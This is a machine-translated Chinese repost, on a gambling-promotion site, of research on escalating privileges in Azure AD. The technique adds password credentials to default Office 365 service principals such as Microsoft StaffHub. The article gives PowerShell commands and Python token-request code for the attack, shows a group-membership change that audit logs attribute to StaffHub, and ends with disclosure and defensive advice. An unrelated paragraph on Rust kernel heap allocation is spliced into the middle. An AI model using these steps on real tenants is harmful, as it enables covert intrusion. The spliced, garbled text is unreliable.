Azure AD 环境的特权提拔破绽剖析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Azure AD 环境的特权提拔破绽剖析

申博_安全预警 申博 34次浏览 未收录 0个评论

申博官网

申博官网开户简单。申博官网的目标是让每位加入我们的客户开心、放心的享受娱乐。还在犹豫什么?赶紧加入申博官网吧!

,

在本年的DEF CON和Troopers 中,我演示了Azure AD中存在的一个破绽,个中治理员或当地同步帐户能够经由过程向顺序分派凭证来举行特权提拔。厥后我再剖析这个破绽时,发现该破绽实际上不是由Microsoft修复的,而且依然存在运用默许Office 365顺序举行提权的要领。在文章中,我会诠释缘由和提权要领。

0x01 Applications and Service Principals

在Azure AD中,顺序主体和效劳主体之间是有区分的。顺序是应用顺序的设置,而效劳主体是实际上能够在Azure目次中具有特权的平安对象。这会形成杂沓,由于在文档中它们一般都称为顺序。Azure经由过程将“效劳主体”称为“企业应用顺序”并隐蔽效劳主体的大多数属性,使其越发杂沓了。关于Office 365和其他Microsoft顺序,顺序定义位于Microsoft专用的Azure目次之一中。在Office 365中,将自动为这些顺序建立效劳主体,默许情况下,为Office 365 Azure AD供应约200个效劳主体,它们均具有差别的预分派权限。

0x02 Application roles

Azure AD顺序的工作体式格局是能够定义roles,然后能够将roles分派给用户,组或效劳主体。假如阅读了有关Microsoft Graph权限的文档,则能够看到诸如Directory.Read.All的权限。这些roles实际上是Microsoft Graph顺序中定义的roles,能够分派给效劳主体。在文档和Azure流派中,这些roles称为“应用顺序权限”,然则我们在这里对峙运用API术语。能够运用AzureAD PowerShell模块查询Microsoft graph顺序中定义的roles:

Azure AD 环境的特权提拔破绽剖析

尝试查询已分派了一个或多个roles的顺序时,能够看到在我的测试目次中,该appadmintest顺序分派了一些roles:

Azure AD 环境的特权提拔破绽剖析

然则,没法在Azure AD中查询已将哪些roles分派给默许Microsoft应用顺序。因而,要罗列它,我们必需运用其他要领。应用顺序治理员(或从内部布置升级到云的内部布置同步帐户)能够为应用顺序分派凭证,然后此应用顺序能够运用客户端凭证授与OAuth2登录权限。运用PowerShell能够分派凭证:

动态内存之堆的分配(一)

这篇文章我们会向你介绍内核是如何添加对堆分配的支持,首先我会介绍动态内存,并展示了借用检查器如何防止常见的分配漏洞。然后,它实现Rust的基本分配接口,创建一个堆内存区域,并设置一个分配器crate。在这篇文章的结尾,内置alloc crate的所有分配和收集类型将对我们的内核可用。另外,此文所介绍的完整源代码可以post-10 分支中找到。 局部和静态变量 我们目前在内核中使用两种类型的变量:局部变量和静态变量,局部变量存储在调用堆栈中,并且仅在周围的函数返回之前才有效。

 PS C:\> $sp = Get-AzureADServicePrincipal -searchstring "Microsoft StaffHub"
 PS C:\> New-AzureADServicePrincipalPasswordCredential -objectid $sp.ObjectId -EndDate "31-12-2099 12:00:00" -StartDate "6-8-2018 13:37:00" -Value redactedpassword
 
 
 CustomKeyIdentifier :
 EndDate             : 31-12-2099 12:00:00
 KeyId               :
 StartDate           : 6-8-2018 13:37:00
 Value               : redactedpassword

以后,能够运用一些python代码登录并检察发出的接见令牌。此JWT显现应用顺序在Microsoft Graph中具有的roles:

 import requests
 import json
 import jwt
 import pprint
 
 # This should include the tenant name/id
 AUTHORITY_URL = 'https://login.microsoftonline.com/ericsengines.onmicrosoft.com'
 TOKEN_ENDPOINT = '/oauth2/token'
 
 data = {'client_id':'aa580612-c342-4ace-9055-8edee43ccb89',
         'resource':'https://graph.microsoft.com',
         'client_secret':'redactedpassword',
         'grant_type':'client_credentials'}
 
 r = requests.post(AUTHORITY_URL + TOKEN_ENDPOINT, data=data)
 
 data2 = r.json()
 
 try:
     jwtdata = jwt.decode(data2['access_token'], verify=False)
     pprint.pprint(jwtdata)
 except KeyError:
     pass

从令牌中打印数据,个中包括“roles”字段:

 {
  "aio": "42FgYJg946pl8aLnJXPOnn4zTe/mBwA=",
  "app_displayname": "Microsoft StaffHub",
  "appid": "aa580612-c342-4ace-9055-8edee43ccb89",
  "appidacr": "1",
  "aud": "https://graph.microsoft.com",
  "exp": 1567200473,
  "iat": 1567171373,
  "idp": "https://sts.windows.net/50ad18e1-bb23-4466-9154-bc92e7fe3fbb/",
  "iss": "https://sts.windows.net/50ad18e1-bb23-4466-9154-bc92e7fe3fbb/",
  "nbf": 1567171373,
  "oid": "56748bde-f24d-4a5b-aa2d-c88b175dfc80",
  "roles": ["Directory.ReadWrite.All",
            "Mail.Read",
            "Group.Read.All",
            "Files.Read.All",
            "Group.ReadWrite.All"],
  "sub": "56748bde-f24d-4a5b-aa2d-c88b175dfc80",
  "tid": "50ad18e1-bb23-4466-9154-bc92e7fe3fbb",
  "uti": "2GScBJopwk2e3EFce7pgAA",
  "ver": "1.0",
  "xms_tcdt": 1559139940
 }

此要领仅适用于Microsoft Graph(不适用于Azure AD)。不确定这是由于没有顺序对Azure AD Graph具有权限照样用于这些权限的体系差别。

假如我们对Office 365中的一切200个默许顺序实行此操纵,则将取得这些顺序具有的一切权限的概述。

Azure AD 环境的特权提拔破绽剖析

假如破坏了Application Administrator帐户或当地同步帐户就能够读取和修正目次设置,组成员身份,用户帐户,SharePoint网站和OneDrive文件。经由过程将凭证分派给具有这些权限的效劳主体,然后模仿这些顺序来完成。

能够经由过程向效劳主体分派暗码或证书,然后以该效劳主体身份登录来应用此破绽。运用效劳主体暗码登录,由于PowerShell模块不支撑此暗码(它支撑证书,然则设置起来比较复杂)。

下面的敕令申明,运用这类证书登录时,确切具有修正组成员身份的才能(应用顺序治理员一般不具备此功用):

 PS C:\> add-azureadgroupmember -RefObjectId 2730f622-db95-4b40-9be7-6d72b6c1dad4 -ObjectId 3cf7196f-9d57-48ee-8912-dbf50803a4d8
 PS C:\> Get-AzureADGroupMember -ObjectId 3cf7196f-9d57-48ee-8912-dbf50803a4d8
 
 ObjectId                             DisplayName UserPrincipalName                 UserType
 --------                             ----------- -----------------                 --------
 2730f622-db95-4b40-9be7-6d72b6c1dad4 Mark        [email protected] Member

在Azure AD考核日记中,这些操纵显现为由“ Microsoft StaffHub”实行,因而日记中没有任何内容表明这些操纵是由顺序治理员实行的。

0x03 破绽表露

实在我照样不明白为何能够经由过程这类体式格局能够将凭证分派给默许效劳主体。我以为,不可能将凭证分派给第一方Microsoft应用顺序。Azure流派不供应此选项,而且不显现这些“后门”效劳主体凭证,然则Microsoft Graph和Azure AD Graph之类的API没有如许的限定。

假如正在治理Azure AD环境,则发起实行搜检以搜检分派给默许效劳主体的凭证,并按期搜检谁来掌握具有高特权的应用顺序的凭证。

本文翻译自:https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Azure AD 环境的特权提拔破绽剖析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址